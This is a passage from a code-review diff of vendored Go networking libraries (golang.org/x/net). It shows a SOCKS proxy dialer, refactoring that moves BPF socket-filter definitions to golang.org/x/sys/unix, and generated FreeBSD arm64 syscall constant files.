proxy, dst, _ := d.pathAddrs(address)
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: errors.New("nil context")}
}
var err error
var c net.Conn
if d.ProxyDial != nil {
c, err = d.ProxyDial(ctx, d.proxyNetwork, d.proxyAddress)
} else {
var dd net.Dialer
c, err = dd.DialContext(ctx, d.proxyNetwork, d.proxyAddress)
}
if err != nil {
proxy, dst, _ := d.pathAddrs(address)
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: err}
}
a, err := d.connect(ctx, c, address)
if err != nil {
c.Close()
proxy, dst, _ := d.pathAddrs(address)
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: err}
}
return &Conn{Conn: c, boundAddr: a}, nil
}
// DialWithConn initiates a connection from SOCKS server to the target
// network and address using the connection c that is already
// connected to the SOCKS server.
//
// It returns the connection's local address assigned by the SOCKS
// server.
func (d *Dialer) DialWithConn(ctx context.Context, c net.Conn, network, address string) (net.Addr, error) {
if err := d.validateTarget(network, address); err != nil {
proxy, dst, _ := d.pathAddrs(address)
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: err}
}
if ctx == nil {
proxy, dst, _ := d.pathAddrs(address)
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: errors.New("nil context")}
}
a, err := d.connect(ctx, c, address)
if err != nil {
proxy, dst, _ := d.pathAddrs(address)
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: err}
}
return a, nil
}
// Dial connects to the provided address on the provided network.
//
// Unlike DialContext, it returns a raw transport connection instead
// of a forward proxy connection.
//
// Deprecated: Use DialContext or DialWithConn instead.
func (d *Dialer) Dial(network, address string) (net.Conn, error) {
if err := d.validateTarget(network, address); err != nil {
proxy, dst, _ := d.pathAddrs(address)
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: err}
}
var err error
var c net.Conn
if d.ProxyDial != nil {
c, err = d.ProxyDial(context.Background(), d.proxyNetwork, d.proxyAddress)
} else {
c, err = net.Dial(d.proxyNetwork, d.proxyAddress)
}
if err != nil {
proxy, dst, _ := d.pathAddrs(address)
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: err}
}
if _, err := d.DialWithConn(context.Background(), c, network, address); err != nil {
c.Close()
return nil, err
}
return c, nil
}
func (d *Dialer) validateTarget(network, address string) error {
switch network {
case "tcp", "tcp6", "tcp4":
default:
return errors.New("network not implemented")
}
switch d.cmd {
case CmdConnect, cmdBind:
default:
return errors.New("command not implemented")
}
return nil
}
func (d *Dialer) pathAddrs(address string) (proxy, dst net.Addr, err error) {
for i, s := range []string{d.proxyAddress, address} {
host, port, err := splitHostPort(s)
if err != nil {
return nil, nil, err
}
a := &Addr{Port: port}
a.IP = net.ParseIP(host)
if a.IP == nil {
a.Name = host
}
if i == 0 {
proxy = a
} else {
dst = a
}
}
return
}
// NewDialer returns a new Dialer that dials through the provided
// proxy server's network and address.
func NewDialer(network, address string) *Dialer {
return &Dialer{proxyNetwork: network, proxyAddress: address, cmd: CmdConnect}
}
const (
authUsernamePasswordVersion = 0x01
authStatusSucceeded = 0x00
)
// UsernamePassword are the credentials for the username/password
// authentication method.
type UsernamePassword struct {
Username string
Password string
}
// Authenticate authenticates a pair of username and password with the
// proxy server.
func (up *UsernamePassword) Authenticate(ctx context.Context, rw io.ReadWriter, auth AuthMethod) error {
switch auth {
case AuthMethodNotRequired:
return nil
case AuthMethodUsernamePassword:
if len(up.Username) == 0 || len(up.Username) > 255 || len(up.Password) == 0 || len(up.Password) > 255 {
return errors.New("invalid username/password")
}
b := []byte{authUsernamePasswordVersion}
b = append(b, byte(len(up.Username)))
b = append(b, up.Username...)
b = append(b, byte(len(up.Password)))
b = append(b, up.Password...)
// TODO(mikio): handle IO deadlines and cancelation if
// necessary
if _, err := rw.Write(b); err != nil {
return err
}
if _, err := io.ReadFull(rw, b[:2]); err != nil {
return err
}
if b[0] != authUsernamePasswordVersion {
return errors.New("invalid username/password version")
}
if b[1] != authStatusSucceeded {
return errors.New("username/password authentication failed")
}
return nil
}
return errors.New("unsupported authentication method " + strconv.Itoa(int(auth)))
}

View File

@ -35,6 +35,7 @@ func marshalInterface(b []byte, cm *ControlMessage) []byte {
}
func parseInterface(cm *ControlMessage, b []byte) {
sadl := (*syscall.SockaddrDatalink)(unsafe.Pointer(&b[0]))
var sadl syscall.SockaddrDatalink
copy((*[unsafe.Sizeof(sadl)]byte)(unsafe.Pointer(&sadl))[:], b)
cm.IfIndex = int(sadl.Index)
}

View File

@ -78,9 +78,6 @@ const (
sysSO_EE_ORIGIN_TXSTATUS = C.SO_EE_ORIGIN_TXSTATUS
sysSO_EE_ORIGIN_TIMESTAMPING = C.SO_EE_ORIGIN_TIMESTAMPING
sysSOL_SOCKET = C.SOL_SOCKET
sysSO_ATTACH_FILTER = C.SO_ATTACH_FILTER
sizeofKernelSockaddrStorage = C.sizeof_struct___kernel_sockaddr_storage
sizeofSockaddrInet = C.sizeof_struct_sockaddr_in
sizeofInetPktinfo = C.sizeof_struct_in_pktinfo
@ -93,8 +90,6 @@ const (
sizeofGroupSourceReq = C.sizeof_struct_group_source_req
sizeofICMPFilter = C.sizeof_struct_icmp_filter
sizeofSockFprog = C.sizeof_struct_sock_fprog
)
type kernelSockaddrStorage C.struct___kernel_sockaddr_storage
@ -116,7 +111,3 @@ type groupReq C.struct_group_req
type groupSourceReq C.struct_group_source_req
type icmpFilter C.struct_icmp_filter
type sockFProg C.struct_sock_fprog
type sockFilter C.struct_sock_filter

View File

@ -16,7 +16,6 @@ import (
const (
Version = 4 // protocol version
HeaderLen = 20 // header length without extension headers
maxHeaderLen = 60 // sensible default, revisit if later RFCs define new usage of version and header length fields
)
type HeaderFlags int

View File

@ -15,13 +15,10 @@ import (
var (
errInvalidConn = errors.New("invalid connection")
errMissingAddress = errors.New("missing address")
errMissingHeader = errors.New("missing header")
errNilHeader = errors.New("nil header")
errHeaderTooShort = errors.New("header too short")
errExtHeaderTooShort = errors.New("extension header too short")
errInvalidConnType = errors.New("invalid conn type")
errNoSuchInterface = errors.New("no such interface")
errNoSuchMulticastInterface = errors.New("no such multicast interface")
errNotImplemented = errors.New("not implemented on " + runtime.GOOS + "/" + runtime.GOARCH)
// See https://www.freebsd.org/doc/en/books/porters-handbook/versions.html.

View File

@ -7,12 +7,15 @@
package ipv4
import (
"errors"
"net"
"unsafe"
"golang.org/x/net/internal/socket"
)
var errNoSuchInterface = errors.New("no such interface")
func (so *sockOpt) setIPMreq(c *socket.Conn, ifi *net.Interface, grp net.IP) error {
mreq := ipMreq{Multiaddr: [4]byte{grp[0], grp[1], grp[2], grp[3]}}
if err := setIPMreqInterface(&mreq, ifi); err != nil {

View File

@ -11,13 +11,14 @@ import (
"golang.org/x/net/bpf"
"golang.org/x/net/internal/socket"
"golang.org/x/sys/unix"
)
func (so *sockOpt) setAttachFilter(c *socket.Conn, f []bpf.RawInstruction) error {
prog := sockFProg{
prog := unix.SockFprog{
Len: uint16(len(f)),
Filter: (*sockFilter)(unsafe.Pointer(&f[0])),
Filter: (*unix.SockFilter)(unsafe.Pointer(&f[0])),
}
b := (*[sizeofSockFprog]byte)(unsafe.Pointer(&prog))[:sizeofSockFprog]
b := (*[unix.SizeofSockFprog]byte)(unsafe.Pointer(&prog))[:unix.SizeofSockFprog]
return so.Set(c, b)
}

View File

@ -11,6 +11,7 @@ import (
"golang.org/x/net/internal/iana"
"golang.org/x/net/internal/socket"
"golang.org/x/sys/unix"
)
var (
@ -35,7 +36,7 @@ var (
ssoLeaveSourceGroup: {Option: socket.Option{Level: iana.ProtocolIP, Name: sysMCAST_LEAVE_SOURCE_GROUP, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
ssoBlockSourceGroup: {Option: socket.Option{Level: iana.ProtocolIP, Name: sysMCAST_BLOCK_SOURCE, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
ssoUnblockSourceGroup: {Option: socket.Option{Level: iana.ProtocolIP, Name: sysMCAST_UNBLOCK_SOURCE, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
ssoAttachFilter: {Option: socket.Option{Level: sysSOL_SOCKET, Name: sysSO_ATTACH_FILTER, Len: sizeofSockFprog}},
ssoAttachFilter: {Option: socket.Option{Level: unix.SOL_SOCKET, Name: unix.SO_ATTACH_FILTER, Len: unix.SizeofSockFprog}},
}
)

93
vendor/golang.org/x/net/ipv4/zsys_freebsd_arm64.go generated vendored Normal file
View File

@ -0,0 +1,93 @@
// Code generated by cmd/cgo -godefs; DO NOT EDIT.
// cgo -godefs defs_freebsd.go
package ipv4
const (
sysIP_OPTIONS = 0x1
sysIP_HDRINCL = 0x2
sysIP_TOS = 0x3
sysIP_TTL = 0x4
sysIP_RECVOPTS = 0x5
sysIP_RECVRETOPTS = 0x6
sysIP_RECVDSTADDR = 0x7
sysIP_SENDSRCADDR = 0x7
sysIP_RETOPTS = 0x8
sysIP_RECVIF = 0x14
sysIP_ONESBCAST = 0x17
sysIP_BINDANY = 0x18
sysIP_RECVTTL = 0x41
sysIP_MINTTL = 0x42
sysIP_DONTFRAG = 0x43
sysIP_RECVTOS = 0x44
sysIP_MULTICAST_IF = 0x9
sysIP_MULTICAST_TTL = 0xa
sysIP_MULTICAST_LOOP = 0xb
sysIP_ADD_MEMBERSHIP = 0xc
sysIP_DROP_MEMBERSHIP = 0xd
sysIP_MULTICAST_VIF = 0xe
sysIP_ADD_SOURCE_MEMBERSHIP = 0x46
sysIP_DROP_SOURCE_MEMBERSHIP = 0x47
sysIP_BLOCK_SOURCE = 0x48
sysIP_UNBLOCK_SOURCE = 0x49
sysMCAST_JOIN_GROUP = 0x50
sysMCAST_LEAVE_GROUP = 0x51
sysMCAST_JOIN_SOURCE_GROUP = 0x52
sysMCAST_LEAVE_SOURCE_GROUP = 0x53
sysMCAST_BLOCK_SOURCE = 0x54
sysMCAST_UNBLOCK_SOURCE = 0x55
sizeofSockaddrStorage = 0x80
sizeofSockaddrInet = 0x10
sizeofIPMreq = 0x8
sizeofIPMreqn = 0xc
sizeofIPMreqSource = 0xc
sizeofGroupReq = 0x88
sizeofGroupSourceReq = 0x108
)
type sockaddrStorage struct {
Len uint8
Family uint8
X__ss_pad1 [6]uint8
X__ss_align int64
X__ss_pad2 [112]uint8
}
type sockaddrInet struct {
Len uint8
Family uint8
Port uint16
Addr [4]byte /* in_addr */
Zero [8]uint8
}
type ipMreq struct {
Multiaddr [4]byte /* in_addr */
Interface [4]byte /* in_addr */
}
type ipMreqn struct {
Multiaddr [4]byte /* in_addr */
Address [4]byte /* in_addr */
Ifindex int32
}
type ipMreqSource struct {
Multiaddr [4]byte /* in_addr */
Sourceaddr [4]byte /* in_addr */
Interface [4]byte /* in_addr */
}
type groupReq struct {
Interface uint32
Group sockaddrStorage
}
type groupSourceReq struct {
Interface uint32
Group sockaddrStorage
Source sockaddrStorage
}

View File

@ -55,9 +55,6 @@ const (
sysSO_EE_ORIGIN_TXSTATUS = 0x4
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet = 0x10
sizeofInetPktinfo = 0xc
@ -70,8 +67,6 @@ const (
sizeofGroupSourceReq = 0x104
sizeofICMPFilter = 0x4
sizeofSockFprog = 0x8
)
type kernelSockaddrStorage struct {
@ -133,16 +128,3 @@ type groupSourceReq struct {
type icmpFilter struct {
Data uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [2]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -55,9 +55,6 @@ const (
sysSO_EE_ORIGIN_TXSTATUS = 0x4
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet = 0x10
sizeofInetPktinfo = 0xc
@ -70,8 +67,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPFilter = 0x4
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -135,16 +130,3 @@ type groupSourceReq struct {
type icmpFilter struct {
Data uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -55,9 +55,6 @@ const (
sysSO_EE_ORIGIN_TXSTATUS = 0x4
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet = 0x10
sizeofInetPktinfo = 0xc
@ -70,8 +67,6 @@ const (
sizeofGroupSourceReq = 0x104
sizeofICMPFilter = 0x4
sizeofSockFprog = 0x8
)
type kernelSockaddrStorage struct {
@ -133,16 +128,3 @@ type groupSourceReq struct {
type icmpFilter struct {
Data uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [2]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -55,9 +55,6 @@ const (
sysSO_EE_ORIGIN_TXSTATUS = 0x4
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet = 0x10
sizeofInetPktinfo = 0xc
@ -70,8 +67,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPFilter = 0x4
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -135,16 +130,3 @@ type groupSourceReq struct {
type icmpFilter struct {
Data uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -55,9 +55,6 @@ const (
sysSO_EE_ORIGIN_TXSTATUS = 0x4
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet = 0x10
sizeofInetPktinfo = 0xc
@ -70,8 +67,6 @@ const (
sizeofGroupSourceReq = 0x104
sizeofICMPFilter = 0x4
sizeofSockFprog = 0x8
)
type kernelSockaddrStorage struct {
@ -133,16 +128,3 @@ type groupSourceReq struct {
type icmpFilter struct {
Data uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [2]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -55,9 +55,6 @@ const (
sysSO_EE_ORIGIN_TXSTATUS = 0x4
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet = 0x10
sizeofInetPktinfo = 0xc
@ -70,8 +67,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPFilter = 0x4
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -135,16 +130,3 @@ type groupSourceReq struct {
type icmpFilter struct {
Data uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -55,9 +55,6 @@ const (
sysSO_EE_ORIGIN_TXSTATUS = 0x4
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet = 0x10
sizeofInetPktinfo = 0xc
@ -70,8 +67,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPFilter = 0x4
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -135,16 +130,3 @@ type groupSourceReq struct {
type icmpFilter struct {
Data uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -55,9 +55,6 @@ const (
sysSO_EE_ORIGIN_TXSTATUS = 0x4
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet = 0x10
sizeofInetPktinfo = 0xc
@ -70,8 +67,6 @@ const (
sizeofGroupSourceReq = 0x104
sizeofICMPFilter = 0x4
sizeofSockFprog = 0x8
)
type kernelSockaddrStorage struct {
@ -133,16 +128,3 @@ type groupSourceReq struct {
type icmpFilter struct {
Data uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [2]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -55,9 +55,6 @@ const (
sysSO_EE_ORIGIN_TXSTATUS = 0x4
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet = 0x10
sizeofInetPktinfo = 0xc
@ -70,8 +67,6 @@ const (
sizeofGroupSourceReq = 0x104
sizeofICMPFilter = 0x4
sizeofSockFprog = 0x8
)
type kernelSockaddrStorage struct {
@ -133,16 +128,3 @@ type groupSourceReq struct {
type icmpFilter struct {
Data uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [2]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -55,9 +55,6 @@ const (
sysSO_EE_ORIGIN_TXSTATUS = 0x4
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet = 0x10
sizeofInetPktinfo = 0xc
@ -70,8 +67,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPFilter = 0x4
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -135,16 +130,3 @@ type groupSourceReq struct {
type icmpFilter struct {
Data uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -55,9 +55,6 @@ const (
sysSO_EE_ORIGIN_TXSTATUS = 0x4
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet = 0x10
sizeofInetPktinfo = 0xc
@ -70,8 +67,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPFilter = 0x4
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -135,16 +130,3 @@ type groupSourceReq struct {
type icmpFilter struct {
Data uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -57,9 +57,6 @@ const (
sysSO_EE_ORIGIN_TXSTATUS = 0x4
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet = 0x10
sizeofInetPktinfo = 0xc
@ -72,8 +69,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPFilter = 0x4
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -137,15 +132,3 @@ type groupSourceReq struct {
type icmpFilter struct {
Data uint32
}
type sockFProg struct {
Len uint16
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -55,9 +55,6 @@ const (
sysSO_EE_ORIGIN_TXSTATUS = 0x4
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet = 0x10
sizeofInetPktinfo = 0xc
@ -70,8 +67,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPFilter = 0x4
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -135,16 +130,3 @@ type groupSourceReq struct {
type icmpFilter struct {
Data uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -106,9 +106,6 @@ const (
sysICMPV6_FILTER_BLOCKOTHERS = C.ICMPV6_FILTER_BLOCKOTHERS
sysICMPV6_FILTER_PASSONLY = C.ICMPV6_FILTER_PASSONLY
sysSOL_SOCKET = C.SOL_SOCKET
sysSO_ATTACH_FILTER = C.SO_ATTACH_FILTER
sizeofKernelSockaddrStorage = C.sizeof_struct___kernel_sockaddr_storage
sizeofSockaddrInet6 = C.sizeof_struct_sockaddr_in6
sizeofInet6Pktinfo = C.sizeof_struct_in6_pktinfo
@ -120,8 +117,6 @@ const (
sizeofGroupSourceReq = C.sizeof_struct_group_source_req
sizeofICMPv6Filter = C.sizeof_struct_icmp6_filter
sizeofSockFprog = C.sizeof_struct_sock_fprog
)
type kernelSockaddrStorage C.struct___kernel_sockaddr_storage
@ -141,7 +136,3 @@ type groupReq C.struct_group_req
type groupSourceReq C.struct_group_source_req
type icmpv6Filter C.struct_icmp6_filter
type sockFProg C.struct_sock_fprog
type sockFilter C.struct_sock_filter

View File

@ -15,7 +15,6 @@ var (
errMissingAddress = errors.New("missing address")
errHeaderTooShort = errors.New("header too short")
errInvalidConnType = errors.New("invalid conn type")
errNoSuchInterface = errors.New("no such interface")
errNotImplemented = errors.New("not implemented on " + runtime.GOOS + "/" + runtime.GOARCH)
)

View File

@ -11,13 +11,14 @@ import (
"golang.org/x/net/bpf"
"golang.org/x/net/internal/socket"
"golang.org/x/sys/unix"
)
func (so *sockOpt) setAttachFilter(c *socket.Conn, f []bpf.RawInstruction) error {
prog := sockFProg{
prog := unix.SockFprog{
Len: uint16(len(f)),
Filter: (*sockFilter)(unsafe.Pointer(&f[0])),
Filter: (*unix.SockFilter)(unsafe.Pointer(&f[0])),
}
b := (*[sizeofSockFprog]byte)(unsafe.Pointer(&prog))[:sizeofSockFprog]
b := (*[unix.SizeofSockFprog]byte)(unsafe.Pointer(&prog))[:unix.SizeofSockFprog]
return so.Set(c, b)
}

View File

@ -11,6 +11,7 @@ import (
"golang.org/x/net/internal/iana"
"golang.org/x/net/internal/socket"
"golang.org/x/sys/unix"
)
var (
@ -40,7 +41,7 @@ var (
ssoLeaveSourceGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_LEAVE_SOURCE_GROUP, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
ssoBlockSourceGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_BLOCK_SOURCE, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
ssoUnblockSourceGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_UNBLOCK_SOURCE, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
ssoAttachFilter: {Option: socket.Option{Level: sysSOL_SOCKET, Name: sysSO_ATTACH_FILTER, Len: sizeofSockFprog}},
ssoAttachFilter: {Option: socket.Option{Level: unix.SOL_SOCKET, Name: unix.SO_ATTACH_FILTER, Len: unix.SizeofSockFprog}},
}
)

122
vendor/golang.org/x/net/ipv6/zsys_freebsd_arm64.go generated vendored Normal file
View File

@ -0,0 +1,122 @@
// Code generated by cmd/cgo -godefs; DO NOT EDIT.
// cgo -godefs defs_freebsd.go
package ipv6
const (
sysIPV6_UNICAST_HOPS = 0x4
sysIPV6_MULTICAST_IF = 0x9
sysIPV6_MULTICAST_HOPS = 0xa
sysIPV6_MULTICAST_LOOP = 0xb
sysIPV6_JOIN_GROUP = 0xc
sysIPV6_LEAVE_GROUP = 0xd
sysIPV6_PORTRANGE = 0xe
sysICMP6_FILTER = 0x12
sysIPV6_CHECKSUM = 0x1a
sysIPV6_V6ONLY = 0x1b
sysIPV6_IPSEC_POLICY = 0x1c
sysIPV6_RTHDRDSTOPTS = 0x23
sysIPV6_RECVPKTINFO = 0x24
sysIPV6_RECVHOPLIMIT = 0x25
sysIPV6_RECVRTHDR = 0x26
sysIPV6_RECVHOPOPTS = 0x27
sysIPV6_RECVDSTOPTS = 0x28
sysIPV6_USE_MIN_MTU = 0x2a
sysIPV6_RECVPATHMTU = 0x2b
sysIPV6_PATHMTU = 0x2c
sysIPV6_PKTINFO = 0x2e
sysIPV6_HOPLIMIT = 0x2f
sysIPV6_NEXTHOP = 0x30
sysIPV6_HOPOPTS = 0x31
sysIPV6_DSTOPTS = 0x32
sysIPV6_RTHDR = 0x33
sysIPV6_RECVTCLASS = 0x39
sysIPV6_AUTOFLOWLABEL = 0x3b
sysIPV6_TCLASS = 0x3d
sysIPV6_DONTFRAG = 0x3e
sysIPV6_PREFER_TEMPADDR = 0x3f
sysIPV6_BINDANY = 0x40
sysIPV6_MSFILTER = 0x4a
sysMCAST_JOIN_GROUP = 0x50
sysMCAST_LEAVE_GROUP = 0x51
sysMCAST_JOIN_SOURCE_GROUP = 0x52
sysMCAST_LEAVE_SOURCE_GROUP = 0x53
sysMCAST_BLOCK_SOURCE = 0x54
sysMCAST_UNBLOCK_SOURCE = 0x55
sysIPV6_PORTRANGE_DEFAULT = 0x0
sysIPV6_PORTRANGE_HIGH = 0x1
sysIPV6_PORTRANGE_LOW = 0x2
sizeofSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
sizeofIPv6Mtuinfo = 0x20
sizeofIPv6Mreq = 0x14
sizeofGroupReq = 0x88
sizeofGroupSourceReq = 0x108
sizeofICMPv6Filter = 0x20
)
type sockaddrStorage struct {
Len uint8
Family uint8
X__ss_pad1 [6]uint8
X__ss_align int64
X__ss_pad2 [112]uint8
}
type sockaddrInet6 struct {
Len uint8
Family uint8
Port uint16
Flowinfo uint32
Addr [16]byte /* in6_addr */
Scope_id uint32
}
type inet6Pktinfo struct {
Addr [16]byte /* in6_addr */
Ifindex uint32
}
type ipv6Mtuinfo struct {
Addr sockaddrInet6
Mtu uint32
}
type ipv6Mreq struct {
Multiaddr [16]byte /* in6_addr */
Interface uint32
}
type groupReq struct {
Interface uint32
Group sockaddrStorage
}
type groupSourceReq struct {
Interface uint32
Group sockaddrStorage
Source sockaddrStorage
}
type icmpv6Filter struct {
Filt [8]uint32
}

View File

@ -84,9 +84,6 @@ const (
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
@ -98,8 +95,6 @@ const (
sizeofGroupSourceReq = 0x104
sizeofICMPv6Filter = 0x20
sizeofSockFprog = 0x8
)
type kernelSockaddrStorage struct {
@ -155,16 +150,3 @@ type groupSourceReq struct {
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [2]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -84,9 +84,6 @@ const (
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
@ -98,8 +95,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPv6Filter = 0x20
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -157,16 +152,3 @@ type groupSourceReq struct {
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -84,9 +84,6 @@ const (
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
@ -98,8 +95,6 @@ const (
sizeofGroupSourceReq = 0x104
sizeofICMPv6Filter = 0x20
sizeofSockFprog = 0x8
)
type kernelSockaddrStorage struct {
@ -155,16 +150,3 @@ type groupSourceReq struct {
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [2]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -84,9 +84,6 @@ const (
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
